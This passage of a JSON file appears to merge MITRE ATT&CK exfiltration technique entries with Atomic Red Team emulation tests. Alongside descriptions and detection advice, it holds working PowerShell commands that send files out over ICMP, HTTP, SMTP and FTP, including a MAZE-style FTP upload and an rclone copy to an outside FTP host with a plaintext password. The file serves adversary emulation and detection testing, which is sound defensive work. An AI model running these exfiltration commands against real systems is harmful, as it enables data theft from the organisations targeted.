- "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1052": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "William Cain"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:46.461Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1052",
- "external_id": "T1052"
- }
- ],
- "modified": "2021-10-15T22:48:29.702Z",
- "name": "Exfiltration Over Physical Medium",
- "description": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Access",
- "Drive: Drive Creation",
- "Command: Command Execution"
- ],
- "x_mitre_system_requirements": [
- "Presence of physical medium or device"
- ]
- },
- "atomic_tests": []
- },
- "T1048.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "William Cain"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
- "created": "2020-03-15T15:37:47.583Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1048.003",
- "url": "https://attack.mitre.org/techniques/T1048/003"
- },
- {
- "source_name": "University of Birmingham C2",
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ",
- "modified": "2022-04-12T19:57:45.277Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol",
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "File: File Access",
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1048.003"
- },
- "atomic_tests": [
- {
- "name": "Exfiltration Over Alternative Protocol - ICMP",
- "auto_generated_guid": "dd4b4421-2e25-4593-90ae-7021947ad12e",
- "description": "Exfiltration of specified file over ICMP protocol.\n\nUpon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_file": {
- "description": "Path to file to be exfiltrated.",
- "type": "path",
- "default": "C:\\Windows\\System32\\notepad.exe"
- },
- "ip_address": {
- "description": "Destination IP address where the data should be sent.",
- "type": "string",
- "default": "127.0.0.1"
- }
- },
- "executor": {
- "command": "$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send(\"#{ip_address}\", 1500, $Data) }\n",
- "name": "powershell"
- }
- },
- {
- "name": "Exfiltration Over Alternative Protocol - HTTP",
- "auto_generated_guid": "6aa58451-1121-4490-a8e9-1dada3f1c68c",
- "description": "Exfiltration of specified file over HTTP.\nUpon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$content = Get-Content #{input_file}\nInvoke-WebRequest -Uri #{ip_address} -Method POST -Body $content\n",
- "name": "powershell"
- },
- "input_arguments": {
- "input_file": {
- "description": "Path to file to exfiltrate",
- "type": "path",
- "default": "C:\\Windows\\System32\\notepad.exe"
- },
- "ip_address": {
- "description": "Destination IP address where the data should be sent",
- "type": "string",
- "default": "http://127.0.0.1"
- }
- }
- },
- {
- "name": "Exfiltration Over Alternative Protocol - SMTP",
- "auto_generated_guid": "ec3a835e-adca-4c7c-88d2-853b69c11bb9",
- "description": "Exfiltration of specified file over SMTP.\nUpon successful execution, powershell will send an email with attached file to exfiltrateto a remote address. Results will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Send-MailMessage -From #{sender} -To #{receiver} -Subject \"T1048.003 Atomic Test\" -Attachments #{input_file} -SmtpServer #{smtp_server}\n",
- "name": "powershell"
- },
- "input_arguments": {
- "input_file": {
- "description": "Path to file to exfiltrate",
- "type": "path",
- "default": "C:\\Windows\\System32\\notepad.exe"
- },
- "sender": {
- "description": "The email address of the sender",
- "type": "string",
- "default": "test@corp.com"
- },
- "receiver": {
- "description": "The email address of the receiver",
- "type": "string",
- "default": "test@corp.com"
- },
- "smtp_server": {
- "description": "SMTP server to use for email transportation",
- "type": "string",
- "default": "127.0.0.1"
- }
- }
- },
- {
- "name": "MAZE FTP Upload",
- "auto_generated_guid": "57799bc2-ad1e-4130-a793-fb0c385130ba",
- "description": "This test simulates MAZE's ransomware's ability to exfiltrate data via FTP.\nUpon successful execution, all 7z files within the %windir%\\temp directory will be uploaded to a remote FTP server. \nReference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ftp_server": {
- "description": "FTP Server address",
- "type": "string",
- "default": "127.0.0.1"
- },
- "username": {
- "description": "Username for FTP server login",
- "type": "string",
- "default": null
- },
- "password": {
- "description": "Password for FTP server login",
- "type": "string",
- "default": null
- }
- },
- "executor": {
- "command": "$Dir_to_copy = \"$env:windir\\temp\"\n$ftp = \"ftp://#{ftp_server}/\"\n$web_client = New-Object System.Net.WebClient\n$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')\nif (test-connection -count 1 -computername \"#{ftp_server}\" -quiet)\n{foreach($file in (dir $Dir_to_copy \"*.7z\"))\n{echo \"Uploading $file...\"\n$uri = New-Object System.Uri($ftp+$file.name)\n$web_client.UploadFile($uri, $file.FullName)}}\nelse\n{echo \"FTP Server Unreachable. Please verify the server address in input args and try again.\"}\n",
- "cleanup_command": "$ftp = \"ftp://#{ftp_server}/\"\ntry {foreach ($file in (dir \"$env:windir\\temp\" \"*.7z\"))\n{$uri = New-Object System.Uri($ftp+$file.name)\n $ftp_del = [System.Net.FtpWebRequest]::create($uri)\n $ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{password}')\n $ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile\n $ftp_del.GetResponse()}} catch{}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Exfiltration Over Alternative Protocol - FTP - Rclone",
- "auto_generated_guid": "b854eb97-bf9b-45ab-a1b5-b94e4880c56b",
- "description": "Rclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server.\n[Reference](https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ftp_server": {
- "description": "Your own ftp server",
- "type": "string",
- "default": "ftp.dlptest.com"
- },
- "ftp_pass": {
- "description": "Your FTP user's password",
- "type": "string",
- "default": "rNrKYTX9g7z3RgJRmxWuGHbeu"
- },
- "ftp_user": {
- "description": "Your FTP username",
- "type": "string",
- "default": "dlpuser"
- },
- "ftp_port": {
- "description": "Your FTP's port",
- "type": "string",
- "default": 21
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Check if the exfil package exists\n",
- "prereq_command": "if (Test-Path C:\\Users\\Public\\Downloads\\exfil.zip) {exit 0} else {exit 1}\n",
- "get_prereq_command": "fsutil file createnew C:\\Users\\Public\\Downloads\\exfil.zip 20485760\n"
- },
- {
- "description": "Check if rclone zip exists",
- "prereq_command": "if (Test-Path C:\\Users\\Public\\Downloads\\rclone-current-windows-amd64.zip) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest -Uri \"https://downloads.rclone.org/rclone-current-windows-amd64.zip\" -OutFile \"C:\\Users\\Public\\Downloads\\rclone-current-windows-amd64.zip\"\nExpand-Archive C:\\Users\\Public\\Downloads\\rclone-current-windows-amd64.zip -DestinationPath C:\\Users\\Public\\Downloads\\\n"
- }
- ],
- "executor": {
- "command": "$rclone_bin = Get-ChildItem C:\\Users\\Public\\Downloads\\ -Recurse -Include \"rclone.exe\" | Select-Object -ExpandProperty FullName\n$exfil_pack = Get-ChildItem C:\\Users\\Public\\Downloads\\ -Recurse -Include \"exfil.zip\" | Select-Object -ExpandProperty FullName\n&$rclone_bin config create ftpserver \"ftp\" \"host\" #{ftp_server} \"port\" #{ftp_port} \"user\" #{ftp_user} \"pass\" #{ftp_pass}\n&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- }
- }
- }
-]
\ No newline at end of file